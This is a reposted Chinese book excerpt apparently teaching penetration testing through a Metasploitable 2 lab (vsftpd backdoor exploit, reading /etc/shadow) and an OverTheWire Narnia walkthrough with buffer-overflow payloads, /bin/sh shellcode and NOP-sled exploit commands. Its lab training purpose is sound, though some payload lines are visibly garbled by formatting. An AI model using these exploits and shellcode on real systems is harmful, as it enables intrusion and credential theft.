博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
《黑客秘笈——渗透测试实用指南(第2版)》—第1章1.6学习
阅读量:6952 次
发布时间:2019-06-27

本文共 7461 字,大约阅读时间需要 24 分钟。

本节书摘来自异步社区《黑客秘笈——渗透测试实用指南(第2版)》一书中的第1章1.6节学习,作者【美】Peter Kim(皮特 基姆),更多章节内容可以访问云栖社区“异步社区”公众号查看。

1.6 学习

阅读本书的人员需要初步掌握Nmap、Metasploit、Cain and Abel和aircrack等工具使用原理。您最好对Python/Ruby等高级语言以及缓冲区溢出等攻击方法有简单的了解。如果想快速提升能力或者需要开展渗透测试工作,下面是准备的工具包。

1.6.1 Metasploitable 2

我收到的一个评论是,本书第1版中没有介绍初学者如何使用Metasploit或者使用Metasploit功能测试漏洞的相关内容。这就是在本书中介绍Metasploit 2的原因,Metasploit 2是一个很棒的测试平台。在开始前,需要下载安装Metasploitable 2环境的VMWare镜像。

下载地址为 Metasploitable2/

下载Metasploitable 2软件后,解压软件,并在VMware Player或者Virtual Box虚拟机中打开软件,输入用户名msfadmin和密码msfadmin登录软件。现在运行VM镜像文件。

试验环境

开始运行Nmap、Masscan或者其他漏洞工具,测试存在漏洞的虚拟机。一旦发现系统漏洞,就运行漏洞利用程序获取一个shell。举个例子,我们发现并且将利用vsftpd存在的缺陷。因此,可以搜索漏洞(搜索vsftpd,见图1.4)或者直接运行漏洞利用程序。

msfconsole

use exploit/unix/ftp/vsftpd_234_backdoor(选择漏洞)
show options(显示配置选项)
set RHOST [IP](设置Metasploitable 2 IP)
exploit(运行漏洞)

75ac689a73b1df411b303b0b7a90a467fd5f4304

成功利用这个漏洞,读取存储的密码:cat /etc/shadow。为了深入研究Metasploitable 2,请阅读Rapid7指南,地址为。

这个虚拟机包括很多不同类型漏洞。您要花费时间学习如何有效使用Metasploit和Meterpreter。如果想深入了解Metasploit,推荐访问。

1.6.2 二进制利用

与本书第1版一样,本书没有深入研究二进制利用技术,因为它是一个完全不同的主题,如果想深入学习这个主题,请阅读下面的书籍:The Shellcoders Handbook()或者Hacking: The Art of Exploitation,2nd Edition()。然而,这并不意味着您不需要理解缓冲区溢出和基本漏洞技术。既然所有的渗透测试人员都需要能够编写脚本代码,那么他们也需要能理解漏洞利用代码。比如可能在Metasploit找到一个模块,它不能正常工作,需要较小的调整,或者需要验证从互联网下载的漏洞利用代码。

已经有大量不同类型网站,帮助开始学习二进制漏洞基础知识。一个非常好的学习网站是Over the Wire( )。Over the Wire网站是一个在线夺旗挑战站点,专注于从二进制攻击到网站攻击所有方面的知识。在本章,仅仅介绍二进制漏洞利用。如果您之前没有了解相关的背景知识,我建议用几个周末的时间深入研究这个网站。为了顺利进入情况,我先和您一起回答几个试题,然而后面的挑战试题需要您自己完成。

在开始前,需要学习以下基础知识:

基本的汇编语言和理解寄存器的使用;

GDB基础知识(GNU调试器);
理解不同类型的内存段(栈、堆、数据、BSS和代码段);
Shellcode基本概念。

Narnia设置

(1)阶段1

Narnia正确配置后,SSH登录到它们的服务器,所有的挑战位于/narnia/目录下。下面详细了解前三个例子。在Kali的终端提示符下或者在Windows下使用类似于Putty(~sgtatham/putty/download.html)的软件。

ssh narnia0@narnia.labs.overthewire.orgPassword: narnia0cd /narnia/

每一阶段挑战都提供C语言代码和二进制可执行文件。对于挑战0,具有访问narnia0和narnia0.c的权限。现在看一下C代码。

cat narnia0.c

快速浏览代码(见图1.5)后,看到变量“val”被赋值十六进制“AAAA”。其次,可以看到,程序接受输入的缓冲区长度为20字节。在之后的一些行,scanf()函数允许最多输入24字节。这是非常简单的缓冲区溢出例子。现在运行可执行文件,作为测试,输入20个A和4个B(因为我们知道十六进制值A=41和B=42),在命令提示符下,显示的字符如下:

narnia0@melinda:/narnia$ ./narnia0

修改val的值0x41414141 -> 0xdeadbeef!
这个是您的机会:AAAAAAAAAAAAAAAAAAAABBBB
缓冲区:AAAAAAAAAAAAAAAAAAAABBBB
val:0x42424242
退出!!!!

7b1cf96b2d013430a1c0bb69cdf0873256a0f7fc
太棒了!因为val十六进制值是0x42424242(42对应ASCII字母B),可以修改内存中val的值,之前这个值是0x41414141。现在需要做的就是修改内存值为0xdeadbeef。这里提醒一下,所有写到堆栈中的值必须是小端格式( ),这意味着0xdeadbeef最后的字节必须是第一个压到栈中的字节,从而覆盖val的值。目标机器栈机制是先进后出(FILO),或者说是后进先出(LIFO)的架构。因此,为了设置0xdeadbeef值,以“xefxbexadxde”顺序写入。最简单的方式是使用Python语言生成所需的数值,并将其作为narnia0例子的输入值。请看下面的操作过程:

narnia0@melinda:/narnia$ python -c 'print "A"*20 + "xefxbexadxde"' | ./narnia0

修正val变量值从0x41414141 -> 0xdeadbeef!
这是机会:buf: AAAAAAAAAAAAAAAAAAAA?
val: 0xdeadbeef
太棒了!现在已经将deadbeef值写入“val”变量中。那么如何运行shell命令呢?再查看C代码,可以看到,如果匹配deadbeef,/bin/sh将被调用。因此运行Python代码,并读取位于/etc/narnia_pass/narnia1的密钥:

narnia0@melinda:/narnia$ (python -c 'print "A"*20 + "xefxbexadxde"'; echo 'cat /etc/narnia_pass/narnia1') | /narnia/narnia0

修正val变量值从0x41414141到0xdeadbeef!
这是机会:缓冲区:AAAAAAAAAAAAAAAAAAAA?
val: 0xdeadbeef
[阶段1的答案]
如果成功了,就通过阶段1,并获得narnia1账户的口令(见图1.6)。现在需要注销账户并使用narnia1账户重新登录。

63dbfb29656ec90b33e0fe18bd5fe58e83fe0793

(2)阶段2

在完成每一个阶段后,都可以获得下一个账户的口令。使用刚刚获得narnia1账户登录阶段2:

s`javascript

sh narnia1@narnia.labs.overthewire.org
Password: [narnia1的密码]
cd /narnia/
cat narnia1.c

浏览这段C代码(见图1.7),很快可以看到一些操作。int (*ret)():是一个指向ret的指针,用于获取指针对应的数值。getenv:引入一个环境变量EGG并将值存入变量ret中。调用ret()。
如果将shellcode存储在环境变量ECG中,那么无论shellcode是什么内容,它都将被执行。简单的做法是设置shellcode代码为/bin/sh,并将其赋值给ECG的环境  变量。在这个例子中,将恶意代码设置为/bin/sh:http://shell-storm.org/shellcode/fil```javascriptes/shellcode-811.phpexport EGG=‘python -c 'print"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\ x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"'`./narnia1cat /etc/narnia_pass/narnia2

已经有了narnia2账户的密码(见图1.8),现在可以进入阶段3。

(3)阶段3

登录阶段3:

ssh narnia2@narnia.labs.overthewire.orgPassword: [narnia2的密码]cd /narnia/cat narnia2.c

a8fa2a21bb28273e51732a71453407d1f82331f4

浏览C代码,查看下面的代码:

char buf[128];if(argc == 1){    printf("Usage: %s argument\n",argv[0]);    exit(1);}strcpy(buf,argv[1]);printf("%s",buf);

通过浏览代码可以看到,通过命令输入一个参数,并将它复制到缓冲区。字符串的缓冲区大小是128个字节,因此我们发送200个字符:

narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "A" * 200''

段错误

仅仅是验证,通过发送200个字符,造成程序出现段错误。需要判断发送多少字节,可以覆盖EIP寄存器。可以使用Metasploit的pattern_create.rb模块实现这个目的。这个模块生成一个特别字符串,在下面的例子中,创建200个字节的字符串。由于生成的字符串不会重复,因此能够精确识别出程序在什么位置覆盖EIP。

/usr/share/metasploit-framework/tools/pattern_create.rb 200Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

现在运行程序narnia2,输入新生成的特殊字符串,观察在造成段错误之前,输入了多少个字节。为了获得段错误的精确结果,使用了调试器。默认情况下,Linux操作系统内嵌gdb调试器。尽管gdb调试器不是最容易使用的调试器,但是它的功能非常强大。

gdb ./narnia2 -qrun 'python -c' 'print"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"''

查询结果如图1.9所示。

94e26f8275a481e924ddd08179f8558a5985987e
程序接收SIGSEGV信号,段错误。
0x37654136 in ?? ()
命令输出结果是0x37654136。通过查看初始的字符串来查找精确的值。为了能够计算出造成段错误的准确字节数,使用Metasploit的pattern_offset.rb脚本:
/usr/share/metasploit-framework/tools/pattern_offset.rb 0x37654136[*] Exact match at offset 140

这表明在140个字节后可以控制EIP。为了证明这个结果,运行narnia2程序,输入140个字节,使用另外的4个字节覆盖EIP。通过使用调试器来观察内存中的变化。

输出结果如下所示。

cd /narniagdb ./narnia2 -q(gdb) run 'python -c 'print "A" * 140 + "B" * 4'`Starting program: /games/narnia/narnia2 'python -c 'print "A" * 140 + "B" * 4'`Program received signal SIGSEGV,Segmentation fault.0x42424242 in ?? ()(gdb) info registerseax     0x0 0ecx     0x0 0edx     0xf7fcb898   -134432616ebx     0xf7fca000   -134438912esp     0xffffd640    0xffffd640ebp     0x41414141   0x41414141esi     0x0 0edi     0x0 0eip     0x42424242   0x42424242

使用“B”字符(或者十六进制0x42)覆盖EIP,EIP是处理器下一步执行代码的指针。如果将EIP指向一段shellcode区域,就可以控制系统。那么到哪儿可以找到shellcode呢?可以定制shellcode或者从下面网址下载shellcode:。在这个例子中,使用Linux/x86 - execve(/bin/sh),长度28个字节。shellcode长度是28个字节,净荷需要144个字节长度。将A替换为NOP或者0x90,这意味着程序跳到NOP时将继续执行,直到开始运行可执行代码。在使用空指令测试后,我创建了下列代码:

cd /narniagdb ./narnia2 -qrun 'python -c 'print "\x90" * 50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "BBBB"'开始运行程序:/games/narnia/narnia2 `python -c 'print "\x90" *50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\ x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\ x90" * 67 + "BBBB"'

程序接收SIGSEGV信号,段错误。

0x42424242 in ?? ()(gdb) info registers eipeip 0x42424242 0x42424242

通过shellcode和NOP成功控制EIP的值。现在在NOP前放置shellcode,从而获得一个/bin/sh shell。为了能够看到出现段错误后内存中的内容,输入:

x/250x $esp

滚动浏览,可以看到以下内容(见图1.10)。

50e1c5f5ab8ef38a5badee1cd6fda1cc8a71b1b2
可以看到初始的NOP (x90),后面!
是shellcode,然后是多个NOP,最后是BBBB。修改BBBB值,使其指向NOP,从而执行shellcode代码。一个简单的地址是0xffffd850栈地址,指向NOP中的第一个字符。开始进行测试,记住不要忘记系统是小段模式。
(gdb) run 'python -c 'print "\x90" * 50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"''开始运行程序:/games/narnia/narnia2 "python -c 'print "\x90" * 50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x8 0" + "\x90" * 67 + "\x50\xd8\xff\xff"'"进程5823执行新的程序:/bin/dash$ cat /etc/narnia_pass/narnia3cat: /etc/narnia_pass/narnia3: Permission denied

现在可以运行shellcode,但是由于某种原因,不能够读取narnia3账户口令。可以尝试脱离GDB调试环境运行程序。

narnia2@melinda:/narnia$ ./narnia2 'python -c 'print "\x90" * 50 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90" * 67 + "\x50\xd8\xff\xff"'`$ cat /etc/narnia_pass/narnia3

[这儿是narnia3答案]

终于发挥作用了!我们现在获得高权限的shell,并可以读取narnia3的密码(见图1.11)。希望通过这个例子,您能初步了解缓冲区溢出是如何产生以及如何进行漏洞利用。记住,这是一个二进制漏洞利用的起始阶段。现在可以用一些时间尝试其他的例子。

af0578b3647d9b40e9430add5c097cf3d190697e

转载地址:http://uynil.baihongyu.com/

你可能感兴趣的文章
基于hadoop的免费大数据平台有哪些?
查看>>
Rails 6.0.0 beta2 发布,开源 Web 应用框架
查看>>
Nginx 加/的区别
查看>>
UWP 大爆炸你个锤子
查看>>
Confluence 6 空间
查看>>
Kubernetes下一站,要做云的“分布式”Linux?
查看>>
Java性能优化的50个细节(珍藏版)
查看>>
[译]聊聊C#中的泛型的使用(新手勿入)
查看>>
【对讲机的那点事】灵通LD3000H数字对讲机不能读写频率咋办?
查看>>
170道Java工程师面试题,你敢挑战吗?
查看>>
企业可以自己搭建堡垒机吗?如何搭建堡垒机?
查看>>
字符串反转
查看>>
大型分布式系统中的缓存架构
查看>>
【对讲机的那点事】物联卡与手机SIM卡的区别!
查看>>
【对讲机的那点事】公网对讲机初次办理物联网卡应注意哪些问题?
查看>>
移动APP持续交付系列之云构建价值分析
查看>>
最后的 Windows XP,也将在 4 月 9 日退役
查看>>
一条命令永久更改linux主机名(centos7)
查看>>
list set array map 排序问题
查看>>
阿里云发布首届POLARDB数据库性能大赛 推动云原生数据库发展
查看>>